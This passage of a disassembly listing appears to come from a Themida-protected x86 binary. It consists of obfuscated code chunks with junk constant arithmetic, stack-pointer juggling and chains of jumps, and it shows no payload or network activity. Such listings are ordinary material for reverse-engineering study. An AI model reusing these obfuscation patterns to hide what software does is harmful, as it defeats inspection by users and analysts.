		xor	ah, 0BBh
		mov	cl, ah
		pop	eax
		add	bl, 77h
		add	bl, cl
		sub	bl, 77h
		pop	ecx
		xor	bl, 9Eh
		xor	al, bl
		push	[esp-0Ch+arg_8]
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_5985FF
; ---------------------------------------------------------------------------


loc_58FCF3:				; CODE XREF: sub_59196D-45E6j
		xchg	eax, [esp+0]
		pop	esp
		push	62D8h
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 7D7879CFh
		add	ecx, 82878635h
		add	esi, ecx
		jmp	loc_58D03E
; ---------------------------------------------------------------------------


loc_58FD24:				; CODE XREF: sub_59196D-2355j
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		add	bl, al
		push	ecx
		mov	ch, 0F7h
		add	bl, ch
		mov	ecx, [esp-4+arg_0]
		push	edx
		jmp	loc_593891
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58FD3B:				; CODE XREF: Themida_:0058EA04j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_59604F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FD4B:				; CODE XREF: sub_59196D-3588j
		push	[esp+30h+var_32+2]
		pop	ecx
		add	esp, 4
		add	edx, 272E6327h
		add	edx, edi
		sub	edx, 272E6327h
		pop	edi
		push	esi
		mov	esi, 59500B12h
		jmp	loc_594616
; ---------------------------------------------------------------------------


loc_58FD6C:				; CODE XREF: sub_59196D+254Aj
		add	ecx, 4
		xchg	ecx, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		add	esp, 4
		sub	al, cl
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		push	ecx
		mov	cl, 4Eh
		jmp	loc_58D18A
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58FD91	proc near		; DATA XREF: Themida_:0058B1ECo

var_2		= word ptr -2

; FUNCTION CHUNK AT 0058D8C4 SIZE 00000005 BYTES

		mov	ax, fs:[edx]
		push	small 3574h
		mov	[esp+2+var_2], ax
		jmp	loc_58D8C4
sub_58FD91	endp

; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 72F644C7h
		jmp	loc_593189
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FDB0:				; CODE XREF: sub_59196D+5403j
		push	edi
		jmp	loc_58EEC7
; ---------------------------------------------------------------------------


loc_58FDB6:				; CODE XREF: sub_59196D+45EDj
		push	edx
		mov	edx, 77F67235h
		push	16Ah
		mov	[esp+34h+var_36+2], esi
		jmp	loc_58F1A2
; ---------------------------------------------------------------------------


loc_58FDC9:				; CODE XREF: sub_59196D+2EA2j
		and	esi, 1646256Ch
		add	esi, 29CC5656h
		sub	eax, 79845782h
		jmp	loc_58F159
; ---------------------------------------------------------------------------


loc_58FDDF:				; CODE XREF: sub_59196D+14C2j
		add	esp, 4
		pop	[esp+30h+var_32+2]
		pop	esp
		and	word ptr [esp+28h+var_2A+2], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58FDF3:				; CODE XREF: sub_59196D-34CFj
		mov	ebx, 24373962h
		jmp	loc_58D14B
; ---------------------------------------------------------------------------


loc_58FDFD:				; CODE XREF: sub_59196D:loc_5924CCj
		or	esi, 2B81280Ch
		neg	esi
		jnp	loc_590253
		shl	esi, 4
		jmp	loc_595FF1
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	edx, esp
		jmp	loc_58CE22
; ---------------------------------------------------------------------------


loc_58FE1A:				; CODE XREF: Themida_:0058EE68j
		dec	al
		js	loc_597E48
		shr	al, 7
		jz	loc_5955D9
		neg	al
		jp	loc_597E5D
		or	al, 7Ah
		xor	al, 8Ah
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FE37:				; CODE XREF: sub_59196D-62AAj
		mov	esp, [esp+14h+var_16+2]
		div	cx
		jmp	loc_59306F
; ---------------------------------------------------------------------------


loc_58FE42:				; CODE XREF: sub_59196D+5FBCj
		mov	[esp+14h+var_16+2], esi
		mov	esi, esp
		jmp	loc_5972B9
; ---------------------------------------------------------------------------


loc_58FE4C:				; CODE XREF: sub_59196D-E14j
		add	eax, ecx
		pop	ecx
		add	eax, edi
		jmp	loc_593871
; ---------------------------------------------------------------------------


loc_58FE56:				; CODE XREF: sub_59196D-1588j
		mov	dx, word ptr [esp+10h+var_12+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_590D4A
; ---------------------------------------------------------------------------


loc_58FE7A:				; CODE XREF: sub_59196D-5699j
		add	edi, 9136D10Ch
		push	ecx
		push	2B0Fh
		mov	[esp+1Ch+var_1E+2], edi
		jmp	loc_594F1A
; ---------------------------------------------------------------------------


loc_58FE8E:				; CODE XREF: sub_59196D+5ABj
		push	3D7507FAh
		mov	esi, [esp+20h+var_22+2]
		add	esp, 4
		push	ecx
		mov	ecx, 17546BC5h
		shl	ecx, 3
		sub	ecx, 9F87EC9Bh
		xor	esi, ecx
		pop	ecx
		sub	esi, 266E7673h
		mov	eax, esi
		mov	esi, [esp+1Ch+var_1E+2]
		add	esp, 4
		add	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 3AB02FFDh
		jmp	loc_58F86B
; ---------------------------------------------------------------------------


loc_58FECD:				; CODE XREF: sub_59196D+126Cj
		sub	ebx, 60A843AAh
		jns	loc_58F684
		inc	ebx
		jp	loc_591575
		or	ebx, 63230EA2h
		jle	loc_5942C2


loc_58FEEC:				; CODE XREF: sub_59196D-1D0Cj
		pop	edi
		add	esi, edi
		jmp	loc_59543B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5918E7


loc_58FEF4:				; CODE XREF: sub_5918E7+9j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_596F45
; END OF FUNCTION CHUNK	FOR sub_5918E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FF02:				; CODE XREF: sub_59196D:loc_5903C7j
		jmp	loc_592495
; ---------------------------------------------------------------------------


loc_58FF07:				; CODE XREF: sub_59196D-15FCj
		add	ebx, 0E0259CEBh
		mov	edx, ebx
		jmp	loc_58F522
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58FF14:				; DATA XREF: Themida_:0058B100o
		mov	cx, [esp]
		push	13Fh
		mov	[esp], eax
		jmp	loc_596A04
; ---------------------------------------------------------------------------


loc_58FF25:				; CODE XREF: Themida_:0058BD11j
		push	ebx
		mov	ebx, 7CE916DCh
		xor	ebx, 1E1B1723h
		shr	ebx, 3
		push	ebp
		mov	ebp, 1AD20829h
		or	ebx, ebp
		pop	ebp
		and	ebx, 29C02E01h
		add	ebx, 7200F804h
		add	edx, 0E7C27C8h
		sub	edx, ebx
		sub	edx, 0E7C27C8h
		pop	ebx
		sub	edx, eax
		push	ebx
		mov	ebx, 11DC6AF3h
		sub	ebx, 4B5D6510h
		dec	ebx
		sub	ebx, 4BBE05DDh
		add	edx, ebx
		pop	ebx
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58FF86:				; CODE XREF: sub_59196D+652Aj
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, 2
		jmp	loc_58BDF0
; ---------------------------------------------------------------------------


loc_58FF9C:				; CODE XREF: sub_59196D-18F1j
		mov	edi, esp
		push	ebx
		push	ecx
		mov	ecx, 5E654327h
		xor	ecx, 738E1AF8h
		mov	ebx, ecx
		pop	ecx
		dec	ebx
		add	ebx, 7D457851h
		dec	ebx
		xor	ebx, 0AB30D22Ah
		add	edi, ebx
		jmp	loc_58D8EB
; ---------------------------------------------------------------------------


loc_58FFC3:				; CODE XREF: sub_59196D+1D6Cj
		xor	ebp, 4003350Eh
		or	ebp, 5B854044h
		inc	ebp
		xor	ebp, 273E4508h
		add	edx, ebp
		pop	ebp
		jmp	loc_5900E1
; ---------------------------------------------------------------------------


loc_58FFDE:				; CODE XREF: sub_59196D+BA3j
		push	4DF6h
		jmp	loc_590985
; ---------------------------------------------------------------------------


loc_58FFE8:				; CODE XREF: sub_59196D+6813j
		add	eax, 4
		sub	esp, 4
		mov	[esp+0], edx
		push	4
		pop	edx
		sub	eax, edx
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_58DC5C
; ---------------------------------------------------------------------------


loc_590007:				; CODE XREF: sub_59196D+4CAEj
		jg	loc_58CA74
		xor	ecx, 61E02EFDh
		push	esi
		mov	esi, ecx
		jmp	loc_592A86
; ---------------------------------------------------------------------------


loc_59001B:				; CODE XREF: sub_59196D-21A0j
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		push	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		push	ecx
		jmp	loc_590FF1
; ---------------------------------------------------------------------------


loc_590032:				; CODE XREF: sub_59196D+AF9j
		mov	[esp+10h+var_12+2], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp+14h+var_12+2]
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		pop	[esp+14h+var_16+2]
		jmp	loc_595C26
; ---------------------------------------------------------------------------


loc_590056:				; CODE XREF: sub_59196D+629Fj
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		shl	byte ptr [esp+0Ch+var_C], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_590063:				; CODE XREF: sub_59196D+611Fj
		sub	ecx, 4
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		jmp	loc_592993
; ---------------------------------------------------------------------------


loc_59006F:				; CODE XREF: sub_59196D+46DDj
		push	dword ptr [edi+eax*4]
		push	[esp+10h+var_12+2]
		pop	eax
		sub	esp, 4
		mov	[esp+14h+var_16+2], edi
		jmp	loc_58FF9C
; ---------------------------------------------------------------------------


loc_590081:				; CODE XREF: sub_59196D-F36j
					; sub_59196D+48C3j
		mov	cx, word ptr [esp+14h+var_16+2]
		push	ecx
		sub	esp, 4
		jmp	loc_595675
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C3EF


loc_590091:				; CODE XREF: sub_58C3EF+137Aj
		sub	edi, 54024096h
		inc	edi
		jmp	loc_592FAB
; END OF FUNCTION CHUNK	FOR sub_58C3EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59009D:				; CODE XREF: sub_59196D-45DFj
		pop	ecx
		sub	al, 28h
		sub	al, 92h
		add	al, 0EDh
		push	358Ah
		mov	[esp+0], edx
		push	eax
		jmp	loc_58C54F
; ---------------------------------------------------------------------------


loc_5900B2:				; CODE XREF: sub_59196D+334Bj
		push	[esp+4Ah+var_4A]
		jmp	loc_593E2C
; ---------------------------------------------------------------------------


loc_5900BA:				; CODE XREF: sub_59196D+5515j
		neg	dl
		jnb	loc_596E2A
		sub	dl, 47h
		jmp	loc_5935C0
; ---------------------------------------------------------------------------


loc_5900CA:				; CODE XREF: sub_59196D-DA3j
		mov	word ptr [esp+4Eh+var_4E], ax
		jmp	loc_58BA31
; ---------------------------------------------------------------------------


loc_5900D3:				; CODE XREF: sub_59196D-6024j
		mov	esp, [esp+20h+var_22+2]
		bts	word ptr [esp+20h+var_22+2], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5900E1:				; CODE XREF: sub_59196D-1994j
		add	ebx, 4AD373C1h
		add	ebx, edx
		sub	ebx, 4AD373C1h
		jmp	loc_596BB1
; ---------------------------------------------------------------------------


loc_5900F4:				; CODE XREF: sub_59196D-5245j
		add	edi, 4
		xchg	edi, [esp+32h+var_32]
		pop	esp
		sub	esp, 4
		mov	[esp+32h+var_32], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+36h+var_32]
		jmp	loc_58C4E5
; ---------------------------------------------------------------------------


loc_590116:				; CODE XREF: sub_59196D-3865j
		add	al, bl
		jmp	loc_58C17C
; ---------------------------------------------------------------------------


loc_59011D:				; CODE XREF: sub_59196D-3ADBj
		add	ebx, 4
		jmp	loc_58E276
; ---------------------------------------------------------------------------


loc_590128:				; CODE XREF: sub_59196D:loc_5956BFj
		not	ah
		xor	ah, 0BBh
		jmp	loc_59025B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D7


loc_590132:				; CODE XREF: sub_58D7D7+3B5Ej
		shl	edi, 4
		push	edx
		push	ebp
		mov	ebp, 386155h
		mov	edx, ebp
		pop	ebp
		jmp	loc_592AF1
; END OF FUNCTION CHUNK	FOR sub_58D7D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590144:				; CODE XREF: sub_59196D-3D49j
		dec	ebp
		or	ebp, 5EBD6903h
		xor	ebp, 5FBF69BBh
		jmp	loc_592D29
; ---------------------------------------------------------------------------


loc_590156:				; CODE XREF: sub_59196D:loc_594C1Fj
		not	edi
		add	edi, 70AC2BC7h
		jmp	loc_5922B0
; ---------------------------------------------------------------------------


loc_590163:				; CODE XREF: sub_59196D+2323j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_590168:				; CODE XREF: sub_59196D-F94j
		pop	esp
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_591851
; ---------------------------------------------------------------------------


loc_590171:				; CODE XREF: sub_59196D+A1Aj
		mov	esi, 7C501DC6h
		xor	esi, 4D963EFCh
		jns	loc_59185F
		jmp	loc_592196
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_591A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590191:				; CODE XREF: sub_59196D-36BBj
		or	ebx, 4036301Ah
		xor	ebx, 458148F1h
		jmp	loc_59853D
; ---------------------------------------------------------------------------


loc_5901A2:				; CODE XREF: sub_59196D-5D99j
					; sub_59196D+15E6j
		add	esp, 4
		jmp	loc_58CFB1
; ---------------------------------------------------------------------------


loc_5901AD:				; CODE XREF: sub_59196D+5E13j
		and	esi, 5CAB4A71h
		ja	loc_5933B1
		jmp	loc_58CD8B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_592911
; ---------------------------------------------------------------------------
		mov	dh, ah
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5901C7:				; CODE XREF: sub_59196D+18Aj
		xchg	edx, [esp+18h+var_1A+2]
		pop	esp
		add	edi, 4
		xchg	edi, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		shr	ecx, 0
		or	eax, eax
		jz	loc_5930D5
		push	edx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		add	[esp+1Ch+var_1E+2], 2D657D8Ah
		jmp	loc_593CAC
; ---------------------------------------------------------------------------


loc_5901F8:				; CODE XREF: sub_59196D-5FAFj
					; sub_59196D+136Dj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1E+2]
		jmp	loc_5945BF
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C816


loc_59020E:				; CODE XREF: sub_58C816+Ej
		dec	edi
		add	edi, 5A7828D5h
		neg	edi
		push	edx
		push	ebx
		jmp	loc_5979D2
; END OF FUNCTION CHUNK	FOR sub_58C816
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59021E:				; CODE XREF: sub_59196D-4DF2j
		mov	cl, byte ptr [esp+1Ch+var_1E+2]
		add	esp, 4
		shr	cl, 8
		dec	cl
		shl	cl, 4
		xor	cl, 0F8h
		sub	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edx
		push	ecx
		mov	cl, 24h
		mov	dl, 4Ch
		sub	dl, 0BCh
		jmp	loc_58DA28
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C19E


loc_590245:				; CODE XREF: sub_58C19E+12j
		add	esp, 4
		or	[edi+1Ch], ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_5921FC
; END OF FUNCTION CHUNK	FOR sub_58C19E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590253:				; CODE XREF: sub_59196D-1B68j
		shl	esi, 4
		jmp	loc_58E9B7
; ---------------------------------------------------------------------------


loc_59025B:				; CODE XREF: sub_59196D-1840j
					; sub_59196D+CACj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+34h+var_36+2]
		pop	esp
		mov	[esp+30h+var_32+2], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 30921108h
		push	ebp
		push	ebx
		mov	ebx, 12390ACBh
		sub	ebx, 19CD6365h
		xor	ebx, 3AEF32D6h
		sub	ebx, 8FC25D03h
		jmp	loc_58D98D
; ---------------------------------------------------------------------------


loc_590293:				; CODE XREF: sub_59196D-41E6j
		pop	esp
		push	dword ptr [eax]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59029B:				; CODE XREF: sub_59196D-4A0Bj
		pop	edi
		push	7C1Bh
		jmp	loc_58EB8E
; ---------------------------------------------------------------------------


loc_5902A6:				; CODE XREF: sub_59196D-2AEDj
					; sub_59196D+20ECj
		mov	ebp, 4
		jmp	loc_5950F5
; ---------------------------------------------------------------------------


loc_5902B0:				; CODE XREF: sub_59196D-61B6j
		push	[esp+1Ch+var_1A+2]
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		pop	[esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+14h+var_16+2], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_591412
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_5902D0	proc near		; DATA XREF: Themida_:0058B1E4o

var_4		= dword	ptr -4

		lodsd
		push	380Fh
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_596693
sub_5902D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5902E5:				; CODE XREF: sub_59196D+2D08j
		neg	al
		jmp	loc_58B88F
; ---------------------------------------------------------------------------


loc_5902EC:				; CODE XREF: sub_59196D+3702j
		mov	[esp+18h+var_1A+2], esi
		add	[esp+18h+var_1A+2], 0C095090h
		pop	edi
		sub	edi, 0C095090h
		pop	esi
		push	esi
		mov	esi, 20532E8Eh
		shr	esi, 3
		sub	esi, 25004337h
		sub	esi, 793BB041h
		sub	edi, esi
		pop	esi
		and	ecx, edi
		pop	edi
		shr	ecx, 6
		jmp	loc_58CEB2
; ---------------------------------------------------------------------------


loc_590321:				; CODE XREF: sub_59196D:loc_594845j
		xor	ebx, 5C567F63h
		add	eax, 4F8B3455h
		sub	eax, ebx
		jmp	loc_594298
; ---------------------------------------------------------------------------


loc_590333:				; CODE XREF: sub_59196D-3D16j
		add	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 62E37FF4h
		shl	ecx, 3
		dec	ecx
		add	ecx, 0FFFFFFFFh
		xor	ecx, 171BFF9Ch
		add	esi, ecx
		push	[esp+1Ch+var_1E+2]
		pop	ecx
		add	esp, 4
		xchg	esi, [esp+18h+var_1A+2]
		pop	esp
		imul	cx, ax
		jmp	loc_596D5A
; ---------------------------------------------------------------------------


loc_590362:				; CODE XREF: sub_59196D-2C1Aj
		sub	ebx, 277D0950h
		add	ebx, 57474D0Fh
		shr	ebx, 2
		jnp	loc_58FF07
		add	ebx, 0E0259CEBh
		mov	edx, ebx
		jmp	loc_58E439
; ---------------------------------------------------------------------------


loc_590384:				; CODE XREF: sub_59196D+4D07j
		sub	bh, 5Eh
		xor	cl, bh
		pop	ebx
		push	edx
		mov	dl, 0F9h
		add	cl, 5Ch
		jmp	loc_58D361
; ---------------------------------------------------------------------------


loc_590395:				; CODE XREF: sub_59196D-2812j
		add	eax, 79845782h
		pop	esi
		mov	edi, [esp+10h+var_12+2]
		jmp	loc_5976B5
; ---------------------------------------------------------------------------


loc_5903A3:				; CODE XREF: sub_59196D+562Aj
		mov	word ptr [esp+10h+var_12+2], cx
		jmp	loc_58E83C
; ---------------------------------------------------------------------------


loc_5903AC:				; CODE XREF: sub_59196D+1A06j
		mov	[esp+10h+var_12+2], edx
		push	ecx
		jmp	loc_592F15
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_595B64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5903BF:				; CODE XREF: sub_59196D+58A8j
		sub	dl, 0ECh
		jmp	loc_597065
; ---------------------------------------------------------------------------


loc_5903C7:				; CODE XREF: sub_59196D+423Ej
		jno	loc_58FF02
		jmp	loc_59759C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		add	ebx, 0E0259CEBh
		mov	edx, ebx
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5903DA:				; CODE XREF: sub_59196D+5FFFj
		add	edi, edx
		pop	edx
		jmp	loc_58F876
; ---------------------------------------------------------------------------


loc_5903E2:				; CODE XREF: sub_59196D+5380j
		movzx	eax, al
		jmp	loc_58FE56
; ---------------------------------------------------------------------------


loc_5903EA:				; CODE XREF: sub_59196D+6B05j
		push	eax
		mov	eax, 46483761h
		not	eax
		add	eax, 0FFFFFFFFh
		or	eax, 76E93B6Fh
		inc	eax
		xor	eax, 2BEE5336h
		sub	eax, 6F8D93ADh
		add	ebx, eax
		pop	eax
		jmp	loc_58BBAC
; ---------------------------------------------------------------------------


loc_59040F:				; CODE XREF: sub_59196D+184Dj
		inc	edi
		jmp	loc_59239D
; ---------------------------------------------------------------------------


loc_590415:				; CODE XREF: sub_59196D-5611j
		pop	edx
		mov	si, bx
		mov	ebx, [esp+18h+var_1A+2]
		jmp	loc_58E868
; ---------------------------------------------------------------------------


loc_590421:				; CODE XREF: sub_59196D-64E2j
		pop	ecx
		jmp	loc_590AE3
; ---------------------------------------------------------------------------


loc_590427:				; CODE XREF: sub_59196D+6805j
		sub	edx, 3FFD555Bh
		jmp	loc_5972A1
; ---------------------------------------------------------------------------


loc_590432:				; CODE XREF: sub_59196D+2D5Bj
		pop	ecx
		jmp	loc_58F436
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_590438	proc near		; CODE XREF: sub_59196D-4E2Fj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	ebx, [esp+4+var_4]
		jmp	sub_590CDB
sub_590438	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59044D:				; CODE XREF: sub_59196D-3B98j
		xor	edi, 0A7B55F74h
		jmp	loc_595C05
; ---------------------------------------------------------------------------


loc_590458:				; CODE XREF: sub_59196D-4DACj
		push	ecx
		jmp	loc_58CBE0
; ---------------------------------------------------------------------------


loc_59045E:				; CODE XREF: sub_59196D+3753j
		pop	eax
		push	ebp
		xor	[esp+30h+var_32+2], 44317DB5h
		pop	ebx
		xor	ebx, 44317DB5h
		jmp	loc_58D957
; ---------------------------------------------------------------------------


loc_590473:				; CODE XREF: sub_59196D+495Dj
		mov	esi, ebp
		mov	ebx, esi
		jmp	loc_59512D
; ---------------------------------------------------------------------------


loc_59047C:				; CODE XREF: sub_59196D-3A4Fj
		push	7450h
		mov	[esp+3Ch+var_3C], eax
		xchg	edx, [esp+3Ch+var_3C]
		jmp	loc_590AAE
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B60E


loc_59048C:				; CODE XREF: sub_58B60E+4F92j
		pop	esi
		push	ecx
		jmp	loc_590786
; END OF FUNCTION CHUNK	FOR sub_58B60E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590493:				; CODE XREF: sub_59196D-25FBj
		pop	ebp
		jmp	loc_58E186
; ---------------------------------------------------------------------------


loc_590499:				; CODE XREF: sub_59196D+4D92j
		xchg	edx, edi
		xchg	edi, [esp+40h+var_40]
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		push	24A6h
		mov	[esp+40h+var_40], edi
		sub	esp, 4
		mov	[esp+44h+var_44], ecx
		push	ebp
		push	edi
		mov	edi, 0D680CC6h
		push	edi
		xor	dword ptr [esp+0], 5FFE462Ah
		pop	ebp
		xor	ebp, 5FFE462Ah
		pop	edi
		mov	ecx, 0F297F33Bh
		add	ecx, ebp
		jmp	loc_58E6D1
; ---------------------------------------------------------------------------


loc_5904D8:				; CODE XREF: sub_59196D+36CBj
		sub	edx, 4
		xchg	edx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_44], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp+48h+var_4A+2], edi
		jmp	loc_591B27
; ---------------------------------------------------------------------------


loc_5904F5:				; CODE XREF: sub_59196D-54Dj
		add	eax, 76DF5E22h
		pop	edi
		xor	eax, [esp+44h+var_44]
		xor	[esp+44h+var_44], eax
		jmp	loc_5943B9
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E0B1


loc_590506:				; CODE XREF: sub_58E0B1+321j
		pop	ebp
		push	eax
		mov	eax, esp
		jmp	sub_58C68D
; END OF FUNCTION CHUNK	FOR sub_58E0B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59050F:				; CODE XREF: sub_59196D-E62j
		sub	eax, 1655AE1h
		sub	eax, 0EA55CAB3h
		sub	edx, 42B42D98h
		sub	edx, eax
		add	edx, 42B42D98h
		pop	eax
		sub	edx, 61980A04h
		jmp	loc_58C301
; ---------------------------------------------------------------------------


loc_590533:				; CODE XREF: sub_59196D-49Cj
		push	esi
		push	ecx
		mov	ecx, 8201EAAh
		push	edi
		jmp	loc_597D41
; ---------------------------------------------------------------------------


loc_590540:				; CODE XREF: sub_59196D+6504j
		push	edx
		mov	dh, 1Dh
		sub	al, dh
		jmp	loc_597168
; ---------------------------------------------------------------------------


loc_59054A:				; CODE XREF: sub_59196D-5DC6j
		inc	edi
		jmp	loc_595713
; ---------------------------------------------------------------------------


loc_590550:				; CODE XREF: sub_59196D:loc_58BE08j
		sub	esi, 2C521FCAh
		jmp	loc_58F011
; ---------------------------------------------------------------------------


loc_59055B:				; CODE XREF: sub_59196D+6741j
		pop	ebx
		sub	ebp, 4
		jmp	loc_5973DA
; ---------------------------------------------------------------------------


loc_590564:				; CODE XREF: sub_59196D+2AC6j
		xor	ebp, [esp+2Ah+var_2A]
		mov	esp, [esp+2Ah+var_2A]
		mov	[esp+2Ah+var_2A], ebx
		jmp	loc_597D39
; ---------------------------------------------------------------------------


loc_590572:				; CODE XREF: sub_59196D-48j
		pop	esp
		mov	[esp+26h+var_26], ebx
		mov	bh, 74h
		inc	bh
		push	edx
		jmp	loc_59666D
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B60E


loc_590580:				; CODE XREF: sub_58B60E+3j
		mov	[esp+4+var_4], eax
		mov	eax, 7FFC78EEh
		neg	eax
		or	eax, 3A1832B8h
		shr	eax, 2
		push	ebp
		mov	ebp, 0D1791216h
		add	eax, ebp
		pop	ebp
		mov	esi, eax
		pop	eax
		sub	ecx, esi
		jmp	loc_59048C
; END OF FUNCTION CHUNK	FOR sub_58B60E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5905A5:				; CODE XREF: sub_59196D+2FF0j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5905AA:				; CODE XREF: sub_59196D+131j
		pop	[esp+2Ah+var_2A]
		mov	esp, [esp+26h+var_26]
		jmp	near ptr dword_58C1C8+34h
; ---------------------------------------------------------------------------


loc_5905B5:				; CODE XREF: sub_59196D-8A4j
		mov	[esp+26h+var_26], ebx
		push	edx
		mov	edx, 0A035C5Bh
		mov	ebx, edx
		mov	edx, [esp+2Ah+var_2A]
		add	esp, 4
		jmp	loc_58B670
; ---------------------------------------------------------------------------


loc_5905CB:				; CODE XREF: sub_59196D-2EC4j
		mov	esi, 2
		add	edx, 8535A00h
		sub	edx, 52596B1Eh
		sub	edx, 61863996h
		jmp	loc_5983D0
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_5905E7:				; CODE XREF: Themida_:0058D6B1j
